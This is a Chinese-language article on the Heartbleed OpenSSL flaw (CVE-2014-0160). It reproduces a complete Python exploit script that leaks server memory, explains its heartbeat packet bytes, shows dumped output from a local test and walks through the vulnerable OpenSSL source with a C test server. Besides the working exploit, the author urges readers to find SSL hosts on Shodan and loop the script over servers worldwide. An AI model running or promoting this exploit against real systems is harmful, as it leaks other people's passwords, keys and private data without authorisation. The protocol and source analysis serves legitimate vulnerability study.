HeartBleed漏洞详解与利用

看一下流传的Python利用脚本。

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

# The author disclaims copyright to this source code.

import sys

import struct

import socket

import time

import select

import re

from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):

return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''

16 03 02 00 dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00

00 0f 00 01 01

''')

hb = h2bin('''

18 03 02 00 03

01 40 00

''')

def hexdump(s):

for b in xrange(0, len(s), 16):

lin = [c for c in s[b : b + 16]]

hxdat = ' '.join('%02X' % ord(c) for c in lin)

pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

print ' %04x: %-48s %s' % (b, hxdat, pdat)

print

def recvall(s, length, timeout=5):

endtime = time.time() + timeout

rdata = ''

remain = length

while remain > 0:

rtime = endtime - time.time()

if rtime < 0:

return None

r, w, e = select.select([s], [], [], 5)

if s in r:

data = s.recv(remain)

# EOF?

if not data:

return None

rdata += data

remain -= len(data)

return rdata

def recvmsg(s):

hdr = recvall(s, 5)

if hdr is None:

print 'Unexpected EOF receiving record header - server closed connection'

return None, None, None

typ, ver, ln = struct.unpack('>BHH', hdr)

pay = recvall(s, ln, 10)

if pay is None:

print 'Unexpected EOF receiving record payload - server closed connection'

return None, None, None

print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

return typ, ver, pay

def hit_hb(s):

s.send(hb)

while True:

typ, ver, pay = recvmsg(s)

if typ is None:

print 'No heartbeat response received, server likely not vulnerable'

return False

if typ == 24:

print 'Received heartbeat response:'

hexdump(pay)

if len(pay) > 3:

print 'WARNING: server returned more data than it should - server is vulnerable!'

else:

print 'Server processed malformed heartbeat, but did not return any extra data.'

return True

if typ == 21:

print 'Received alert:'

hexdump(pay)

print 'Server returned error, likely not vulnerable'

return False

def main():

opts, args = options.parse_args()

if len(args) < 1:

options.print_help()

return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Connecting...'

sys.stdout.flush()

s.connect((args[0], opts.port))

print 'Sending Client Hello...'

sys.stdout.flush()

s.send(hello)

print 'Waiting for Server Hello...'

sys.stdout.flush()

while True:

typ, ver, pay = recvmsg(s)

if typ == None:

print 'Server closed connection without sending Server Hello.'

return

# Look for server hello done message.

if typ == 22 and ord(pay[0]) == 0x0E:

break

print 'Sending heartbeat request...'

sys.stdout.flush()

s.send(hb)

hit_hb(s)

if __name__ == '__main__':

main()

用法：openssl.py ip/域名 -p 端口

纠正一点，for b in xrange(0, len(s), 16):表示的是显示结果的步长，因此不需要改为64，这个并不是表示溢出64 KB内存

我们要做的很简单 跑起python



去撒旦上搜995或者其他用着SSL的端口（445好像要收钱）



撒旦似乎是给了API 的demo，GIT地址：https://github.com/achillean/shodan-python.git

写一个循环，遍历全世界的服务器吧。当然，后面的那些资料，你得为你的好奇心。。。交钱。。

再来谈谈那个脚本的事情。

上面比较重要和难以理解的是hello和hb两个字符串的意思到底是什么。

首先看hb这个字符串的几个字节是什么意思， 通过阅读RFC6520我们可以得到heartbeat的数据结构：

enum {

heartbeat_request(1),

heartbeat_response(2),

(255)

} HeartbeatMessageType;

struct {

HeartbeatMessageType type;

uint16 payload_length;

opaque payload[HeartbeatMessage.payload_length];

opaque padding[padding_length];

} HeartbeatMessage;

这个数据结构的总长度不能超过2的14次方。

type: 消息类型， heartbeat_request 或者 heartbeat_response中的一个，不是0x01就是0x02，1byte。

payload_length: payload的长度, 2个bytes。

payload：内容是任意的东西，接收端收到之后必须忽略掉里面的具体内容，如果接收端响应这个request，那么需要将里面的内容原封不动拷贝回发送端。

padding: 也是一些随即的乱起八糟的内容，必须被接收端忽略掉。

padding_length: TLSPlaintext.length - payload_length - 3 for TLS 或者 DTLSPlaintext.length - payload_length - 3 for DTLS. 至少是16bytes.

在这个RFC6520中有下面一句话，IANA has assigned the heartbeat content type (24) from the "TLS ContentType Registry" as specified in [RFC5246]

意思就是说IANA这个组织把heartbeat content type的编号定为了24

我们去RFC5246中查找TLSPlaintext结构的定义。

RFC5246附录A中开头的定义如下：

struct {

uint8 major;

uint8 minor;

} ProtocolVersion;

ProtocolVersion version = { 3, 3 }; /* TLS v1.2*/

enum {

change_cipher_spec(20), alert(21), handshake(22),

application_data(23), (255)

} ContentType;

struct {

ContentType type;

ProtocolVersion version;

uint16 length;

opaque fragment[TLSPlaintext.length];

} TLSPlaintext;

type:1个byte，这里应该是heartbeat，24, 0x18

version:2个bytes

length：2个bytes

fragment: 具体的extension的message.

上面这一系列数据结构翻译成用c语言的数据结构就是：

struct {

ContentType type; //1byte

ProtocolVersion version; //2bytes

uint16 length; //2bytes

HeartbeatMessageType type; //1bytes

uint16 payload_length; //2bytes

char payload[payload_length];

char padding[padding_length];

}HeartBeatPlainText;

这样我们就可以对应的看出来hb到底是什么意思了：

hb = h2bin('''

18 03 02 00 03

01 40 00

''')

18表示heartbeat type

03 02表示TLS的版本号，这里表示TLS v1.1

00 03表示heartbeatmessage的长度，也就是TLSplaintext的payload的长度

01表示heartbeat_request

40 00 表示payload length, 2**14

其中payload和padding都没有，这样正好就可以利用漏洞将后面内存中的数据dump出来了。

OK, 现在hb已经清楚了。

hello有225bytes, 具体的每个域的意思可以参考RFC 5246 7.4.1
https://tools.ietf.org/html/rfc5246#section-7.4.1
最好通过wireshark抓https的包来看client hello的解析。一目了然。

另外：通过在自己机器上测试发现XAMPP for Linux 1.8.3-3用的就是有漏洞的版本的openssl, 可以用这个脚本来进行测试，抓包。

转一段分析的文章：

测试一：

HeartBeat Requst包

hb = h2bin(”’

18 03 02 00 03

01 20 00

”’)

蓝色的01表示的是心跳包的类型为request方向。对应源代码中就是#define TLS1_HB_REQUEST 1

红色的20 00表示的心跳请求包的length字段，占两个字节，对应的长度值为8192。

HeartBeat Response包

[root@server test]# python ssltest.py 127.0.0.1 -p 9876 > 1

Sending heartbeat request…

… received message: type = 24, ver = 0302, length = 8211

Received heartbeat response:

WARNING: server returned more data than it should – server is vulnerable!

Received heartbeat response:

0000: 02 20 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C . ….SC[...r...

0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......

0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".

0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.

蓝色的02表示的是心跳包的类型为response方向。

对应源代码中就是#define TLS1_HB_RESPONSE 2

红色的20 00表示的心跳响应包的length字段，占两个字节，对应的长度值为8192。和request包的length值一样。

绿色部分就是非法获取到的越界数据(可能包含用户名、密码、邮件、内网IP等敏感信息)。

测试二：

在测试一的基础上，修改了request心跳包的length字段的值，从20 00 修改到 30 00

HeartBeat Requst包

hb = h2bin('''

18 03 02 00 03

01 30 00

''')

30 00两个字节对应的长度为12288（8192+4096）

HeartBeat Response包

[root@server test]# python ssltest.py 127.0.0.1 -p 9876 > 1

Sending heartbeat request…

… received message: type = 24, ver = 0302, length = 12307

Received heartbeat response:

WARNING: server returned more data than it should – server is vulnerable!

Received heartbeat response:

0000: 02 30 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .0….SC[...r...

0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......

0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".

0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.

两个测试用例中，response的length长度值总是比request的长度多出来了19个byte，为什么？

因为，TLS和DTLS在处理类型为TLS1_HB_REQUEST的心跳请求包逻辑中，在从堆空间上申请内存大小时，有4部分决定type+length+request的数据长度+pad，其中type,length,pad字段分为占1byte，2byte，16byte，所以response的数据总是比request的多出来19byte。

源码分析

概要说明

该漏洞主要是内存泄露问题，而根本上是因为OpenSSL在处理心跳请求包时，没有对length字段（占2byte，可以标识的数据长度为64KB）和后续的data字段做合规检测。生成心跳响应包时，直接用了length对应的长度，从堆空间申请了内存，既便是真正的请求data数据远远小于length标识的长度。

相关解析源码说明

存在该漏洞的源文件有两个ssl/d1_both.c和ssl/t1_lib.c。

心跳处理逻辑分别是dtls1_process_heartbeat和tls1_process_heartbeat两个函数。

dtls1_process_heartbeat函数处理逻辑：

Step1.获取心跳请求包对应的SSLv3记录中数据指针字段，指向request的请求数据部分。

unsigned char *p = &s->s3->rrec.data[0];

record记录的数据格式应该包含了三个字段：type， length， data；分别占1byte，2byte，length的实际值。

Step2.

/* Read type and payload length first */

hbtype = *p++;

n2s(p, payload);

pl = p;

做了两件事，获取了type类型以及length字段的值（存放到payload中），然后将pl指向真正的data数据。

Step3.

/* Allocate memory for the response, size is 1 byte

* message type, plus 2 bytes payload length, plus

* payload, plus padding

*/

buffer = OPENSSL_malloc(1 + 2 + payload + padding);

bp = buffer;

悲剧开始上演了。没有判断请求记录中的真正数据长度，直接用length字段的值来申请空间。对应于测试一中的异常数据包的话，buffer申请的内存大小就是8211byte。但是实际应该申请的大小仅仅就几个字节。

Step4.

/* Enter response type, length and copy payload */

*bp++ = TLS1_HB_RESPONSE;

s2n(payload, bp);

memcpy(bp, pl, payload);

bp += payload;

悲剧形成了。填充响应记录，第一个字节填充类型，第二、三个字节填充request记录中length的值，紧接着，将request的data填充为响应的data数据。异常情况下，payload对应的长度远远大于真正应该使用的合法的data数据长度，这样，就导致了非法越界访问相邻内存空间的数据。

tls1_process_heartbeat函数的处理逻辑和dtls1_process_heartbeat一样，此处就不再做详细分析了。

附：ssl_server.c

编译方式(请根据实际环境自行修改相关路径)

gcc -g -o ssl_server ssl_server.c -I/root/openssl_101f_prex/include/ -L/root/openssl_101f_prex/lib/ -lssl

该代码是文中用于调试存在漏洞的libssl.so库的server端，供对该漏洞感兴趣的安全研究人员、安全爱好者们自行后续调试。希望这段独立的代码能让大家意识到这个漏洞持续的高等级威胁：截至目前，心血漏洞仅仅是刚开始出血，避免这个漏洞引起互联网业务大血崩此刻就要开始更多的行动了！

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

#include “openssl/bio.h”

#include “openssl/rsa.h”

#include “openssl/crypto.h”

#include “openssl/x509.h”

#include “openssl/pem.h”

#include “openssl/ssl.h”

#include “openssl/err.h”

#define server_cert “./server.crt”

#define server_key “./server.key”

#define ca_cert “./ca.crt”

#define PORT 9876

#define CHK_NULL(x) if ((x)==NULL) exit (1)

#define CHK_ERR(err,s) if ((err)==-1) { perror(s); exit(1); }

#define CHK_SSL(err) if ((err)==-1) { ERR_print_errors_fp(stderr); exit(2); }

int main ()

{

int err;

int listen_sd = -1;

int sd = -1;

struct sockaddr_in sa_serv;

struct sockaddr_in sa_cli;

int client_len;

SSL_CTX* ctx = NULL;

SSL* ssl = NULL;

X509* client_cert = NULL;

char* str = NULL;

char buf [4096];

SSL_METHOD *meth = NULL;

SSL_library_init();

SSL_load_error_strings();

ERR_load_BIO_strings();

OpenSSL_add_all_algorithms();

meth = (SSL_METHOD *)SSLv23_server_method();

ctx = SSL_CTX_new(meth);

if (NULL == ctx) {

goto out;

}

//SSL_CTX_set_verify(ctx,SSL_VERIFY_PEER,NULL);

//SSL_CTX_load_verify_locations(ctx,ca_cert,NULL);

if (SSL_CTX_use_certificate_file(ctx, server_cert, SSL_FILETYPE_PEM) <= 0) {

goto out;

}

if (SSL_CTX_use_PrivateKey_file(ctx, server_key, SSL_FILETYPE_PEM) <= 0) {

goto out;

}

if (!SSL_CTX_check_private_key(ctx)) {

printf(“Private key does not match the certificate public key\n”);

goto out;

}

listen_sd = socket(AF_INET, SOCK_STREAM, 0);

if (-1 == listen_sd) {

goto out;

}

memset (&sa_serv, ‘\0′, sizeof(sa_serv));

sa_serv.sin_family = AF_INET;

sa_serv.sin_addr.s_addr = INADDR_ANY;

sa_serv.sin_port = htons(PORT);

err = bind(listen_sd, (struct sockaddr*) &sa_serv, sizeof(sa_serv));

if (-1 == err) {

goto out;

}

err = listen(listen_sd, 5);

if (-1 == err) {

goto out;

}

client_len = sizeof(sa_cli);

sd = accept(listen_sd, (struct sockaddr*)&sa_cli, &client_len);

if (-1 == err) {

goto out;

}

printf (“Connection from %d, port %d\n”,sa_cli.sin_addr.s_addr, sa_cli.sin_port);

ssl = SSL_new(ctx);

if (NULL == ssl) {

goto out;

}

SSL_set_fd(ssl, sd);

err = SSL_accept(ssl);

if (NULL == ssl) {

goto out;

}

/*

printf (“SSL connection using %s\n”, SSL_get_cipher(ssl));

client_cert = SSL_get_peer_certificate(ssl);

if (client_cert != NULL) {

printf (“Client certificate:\n”);

str = X509_NAME_oneline (X509_get_subject_name (client_cert), 0, 0);

CHK_NULL(str);

printf (“\t subject: %s\n”, str);

Free (str);

str = X509_NAME_oneline (X509_get_issuer_name (client_cert), 0, 0);

CHK_NULL(str);

printf (“\t issuer: %s\n”, str);

Free (str);

X509_free (client_cert);

}

else

printf (“Client does not have certificate.\n”);

*/

err = SSL_read(ssl, buf, sizeof(buf) – 1);

if (err == -1) {

goto out;

}

buf[err] = ‘\0′;

printf (“Got %d chars:’%s’\n”, err, buf);

err = SSL_write(ssl, “I hear you.”, strlen(“I hear you.”));

CHK_SSL(err);

out:

if (-1 != sd) {

close(sd);

}

if (-1 != listen_sd) {

close(listen_sd);

}

if (ssl) {

SSL_free(ssl);

}

if (ctx) {

SSL_CTX_free(ctx);

}

return 0;

}